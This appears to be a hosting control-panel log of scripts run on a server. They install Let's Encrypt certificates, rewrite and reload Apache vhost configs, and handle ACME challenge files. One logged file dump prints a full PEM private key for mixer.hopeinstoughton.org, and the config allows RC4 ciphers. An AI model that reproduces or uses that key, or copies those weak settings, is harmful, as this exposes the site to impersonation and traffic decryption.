A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-10 06:01:52: 

chmod 755 /tmp/pkp271476; /tmp/pkp271476; rm /tmp/pkp271476

2026-03-10 06:01:52: 


dir=/etc/ssl/certs


2026-03-10 06:01:52: 

PUT: /tmp/pkp519780

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-10 06:01:53: 

chmod 755 /tmp/pkp519780; /tmp/pkp519780; rm /tmp/pkp519780

2026-03-10 06:01:53: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>






2026-03-10 06:01:53: 

PUT: /tmp/pkp209275

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi


2026-03-10 06:01:54: 

chmod 755 /tmp/pkp209275; /tmp/pkp209275; rm /tmp/pkp209275

2026-03-10 06:01:54: 




2026-03-10 06:01:54: 

PUT: /tmp/pkp984626

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-10 06:01:54: 

chmod 755 /tmp/pkp984626; /tmp/pkp984626; rm /tmp/pkp984626

2026-03-10 06:01:54: 


.


2026-03-10 06:01:54: Establishing a connection
2026-03-10 06:01:55: 

PUT: /tmp/pkp265895

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-10 06:01:56: 

chmod 755 /tmp/pkp265895; /tmp/pkp265895; rm /tmp/pkp265895

2026-03-10 06:01:57: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-03-10 06:01:57: 

PUT: /tmp/pkp131823

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:01:57: 

chmod 755 /tmp/pkp131823; /tmp/pkp131823; rm /tmp/pkp131823

2026-03-10 06:01:57: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf	2161
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>







2026-03-10 06:01:57: 

PUT: /tmp/pkp259569

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:01:58: 

chmod 755 /tmp/pkp259569; /tmp/pkp259569; rm /tmp/pkp259569

2026-03-10 06:01:58: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7	5365
46:e5:d2:39:8c:15:ce:16:a4:89:75:51:8c:94:4c:bf

-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBpRs3hEwBarmcEiF79MGBJXFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzEwMDUwMzE5WhcNMjYwNjA4MDUwMzE4WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAoA3XGKI65HJZU0p50IK6fXw1d/zHnAYNg+rqBZw5Q+mHSDp8
mo+VR/CPAbc7/u8MQ3qjlUUC1b5u+t6YsLznuBhUZ33TubEu7SbMqZ+sRpDQ3bPC
FZ99bl/8SeU8CwPd+JfTfUSDoXiNjWjT1OboXP+B8DjXTGfaNHNUMhParY8pDo6E
bzC6uh5CcJ+a1ENygFL79ra+OpSw8M1S4C1NMDNZVdAYPMbdhv2QBnuMrsSihcPt
Uw/pNLDqJi/bpedDhlOlfY4ucNoO02uNvQS88dAw/rFk4tauweR3wrOI14i+6BWe
4qkNWgkVhfG/2SOQ8ICp6qG0Ja4H+q4k1m4qswIDAQABo4ICJjCCAiIwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFIAeqNPNv1F3AO+mvWuwYaRMTYT0MB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWl4ZXIuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEyLmMubGVuY3Iub3JnLzcwLmNybDCCAQsGCisGAQQB1nkCBAIEgfwE
gfkA9wB1ABaDLavwqSUPD/A6pUX/yL/II9CHS/YEKSf45x8zE/X6AAABnNZWXJoA
AAQDAEYwRAIgBXaMli67IVyiLtUI9PgIX2SdHGHTEIZpbuX6359gziYCIE/QeSN+
/gH7gCM0kWXu8SNfa4yPQRci36Ic6eSFkLSRAH4A4yON8o2iiOCq4Kzw+pDJhfC2
v/XSpSewAfwcRFjEtugAAAGc1lZeuwAIAAAFADUYFTgEAwBHMEUCIAEKa1YzcmQO
GGMTbzVejxZercf2aqRMlRtZ7w1Ja63KAiEAyEw6UDMyD/HIhJ5VCu0MC2VdDGzq
+44dmLnkfpt6ZMkwDQYJKoZIhvcNAQELBQADggEBAE8OAizaBgA8O27XT6ZjKY1v
iLxOHPiOTuDbgAchxLVXZnLCrBILKbW3mCzrY+NPS2ExZwYQdxDK0e9aP2dvVuSd
iAYQPlpeQKEoZ6mWH+DyTaGfEjwMqwId6M4nYHSrWj1ZcQ0hLGAYXzhc+77EYFWr
fF+swBt2bQoE+A/yqXNhm56UvlurivQSvtY3diizhz8SjVyUETfYdCWgPrDtJ30W
LrpdJ8WhOIZKOJrFCvVviO41W3G1GkRJfHgSWU9VbK/0BoDsN+QfB6XZnaY87mwd
vxSQyON3NulEUsx6I7l7PJuSKo9TlgzsWxFqwb8Dg7L4YWsT3AjLrFQvxOojraQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEuwIBADANBgkqhkiG9w0BAQEFAASCBKUwggShAgEAAoIBAQCgDdcYojrkcllT
SnnQgrp9fDV3/MecBg2D6uoFnDlD6YdIOnyaj5VH8I8Btzv+7wxDeqOVRQLVvm76
3piwvOe4GFRnfdO5sS7tJsypn6xGkNDds8IVn31uX/xJ5TwLA934l9N9RIOheI2N
aNPU5uhc/4HwONdMZ9o0c1QyE9qtjykOjoRvMLq6HkJwn5rUQ3KAUvv2tr46lLDw
zVLgLU0wM1lV0Bg8xt2G/ZAGe4yuxKKFw+1TD+k0sOomL9ul50OGU6V9ji5w2g7T
a429BLzx0DD+sWTi1q7B5HfCs4jXiL7oFZ7iqQ1aCRWF8b/ZI5DwgKnqobQlrgf6
riTWbiqzAgMBAAECgf9bl5AACNaq5MU5ZOVQ7X7LUMlIYN/Z6ZzSYRyLGVusAXfp
XY7w5DoJcSBlWvZ6bVIXS5dRVKzKpK/d4ISAn5n7P/ENSHRhT4QLMqjsaPOtbjIY
rUXkGeEtyMAXiZdStmPQXxIoHY02WkanJdYTgBB5J760OdL7ZnL4kQcdoT8DEoI9
dlAeCrAGRBtpFXc2Jr/ptLHiWZfZ/ZTQpARj0hwahNqnJmmRfsNkqOPcBBCyhDDe
6R874yyf/bz52DL/vs9ir2WoavRfLRS03vokdbu2i7ZjubzySzcV1YrHhb4ZM5xW
ftt5lZlH94bqFjrFKycofkHUE5x5ma5N9PqWV/kCgYEAzAIP58vWfzulcV1MKlAU
8Qfs6Bfqh+hJvIGXkL6D15dNbwZhICHBNQymwcn+jLg15KyIeMtEacWrYymxJ0mD
bARJmIzNnqN7jbLJsrBoJZVs75oO7qwVbhWuG/vXjX9VCL5FOKev1Frlhk9unKbr
Xi/DHg/LMxkuuDCsp7zH2rkCgYEAyNgfSJ883ePnjJ3p75A1kDYS4sjgWOsMKhI1
LYuqVWbe/9pZAxURT42yDRxTMWSA9RcWxYim9jzuLQzzehhWMiVu6IS7/yHkRCwT
Hk1ghZWQ0auDqJbO8x91CzI2z3KC2spklzXVRXa5TQSC4spswXjXCDwcgdUVUbPs
BjJsissCgYB0H1heYLCfi5wIg0qvaxYAfLplAfgFlDskib90LH1vYjg5UjBG0e/f
+muRMyEpiFFk8LBd0ZYHfvSnZTvpWPbtrSMXKk6AVh4l8fbNN4yQmBWB7PdC88Df
AIgydY+kgy4r4+IS9aAoB/VOFjioAntHCXjOy76mP1dQkKQ2dkZsQQKBgQCJisA5
ypszVc0PlmFLZxXXccCTQH+rRSRqd1elnj0DCVT0IELPApF9SotBwUET1UEfFzXI
ByJYBTgS8AiZd6sn4kzGvYfFXB9ntEtPeCv+r4OiovOh88074DIWfcfdXw1P6kTi
7MHmNT0HCmzcBUZfZHLWN9xJ6XQVJMMhJ0z/6wKBgHykEsUVhsfuzyObtraMqgck
QKoSl6oEKm+Vz5BJUIxeb2tvAXssp28/nwYGHI9wEUOAboUXFyDRa7NPUgYW9yby
oAsj0kT6H8ChthPr10BHN4qzpRqmjZaRjDCZ9wZq67pt62Et9elVYTlcp6GxjcNY
d85WhKSWp71ThV2bl8w8
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-03-10 06:01:58: Establishing a connection
2026-03-10 06:01:59: Establishing a connection
2026-03-10 06:02:00: 

PUT: /tmp/pkp841176

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-10 06:02:01: 

chmod 755 /tmp/pkp841176; /tmp/pkp841176; rm /tmp/pkp841176

2026-03-10 06:02:01: 


1


2026-03-10 06:02:02: Establishing a connection
2026-03-10 06:02:03: 

PUT: /tmp/pkp560530

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > pGoiFyupw7iWErv_TJL1E_q0EdHx0cMhrR4wiJaDyVg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
pGoiFyupw7iWErv_TJL1E_q0EdHx0cMhrR4wiJaDyVg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 pGoiFyupw7iWErv_TJL1E_q0EdHx0cMhrR4wiJaDyVg


2026-03-10 06:02:04: 

chmod 755 /tmp/pkp560530; /tmp/pkp560530; rm /tmp/pkp560530

2026-03-10 06:02:04: 




2026-03-10 06:02:07: Establishing a connection
2026-03-10 06:02:08: 

PUT: /tmp/pkp367600

#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm pGoiFyupw7iWErv_TJL1E_q0EdHx0cMhrR4wiJaDyVg


2026-03-10 06:02:09: 

chmod 755 /tmp/pkp367600; /tmp/pkp367600; rm /tmp/pkp367600

2026-03-10 06:02:09: 




2026-03-10 06:02:09: Establishing a connection
2026-03-10 06:02:10: 

PUT: /tmp/pkp636937

#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0

cat > $temp_file <<'endmsg'
14:bc:2d:63:7d:f7:cc:d5:23:75:4f:6e:ac:90:fa:9a

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBiySZoNefqXrB2xzlatBVXUcMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzEwMDUwMzM3WhcNMjYwNjA4MDUwMzM2WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC+NX6AUnUMt0+fpUgcpGnTRftxdUZuWtJiMuQRr6yT8GzcfUzm
k5VChuIpmc5XwOjZTNP1eXbRv3xxbvcTaP/XPQg2HAIWRwsV4mA7Tzf24kyI+brI
pL29IWWTANcbmr+N39KTglDfM0ctUBYZxzPr97BqipHfm5dBZSXLlbOmefLOQhpg
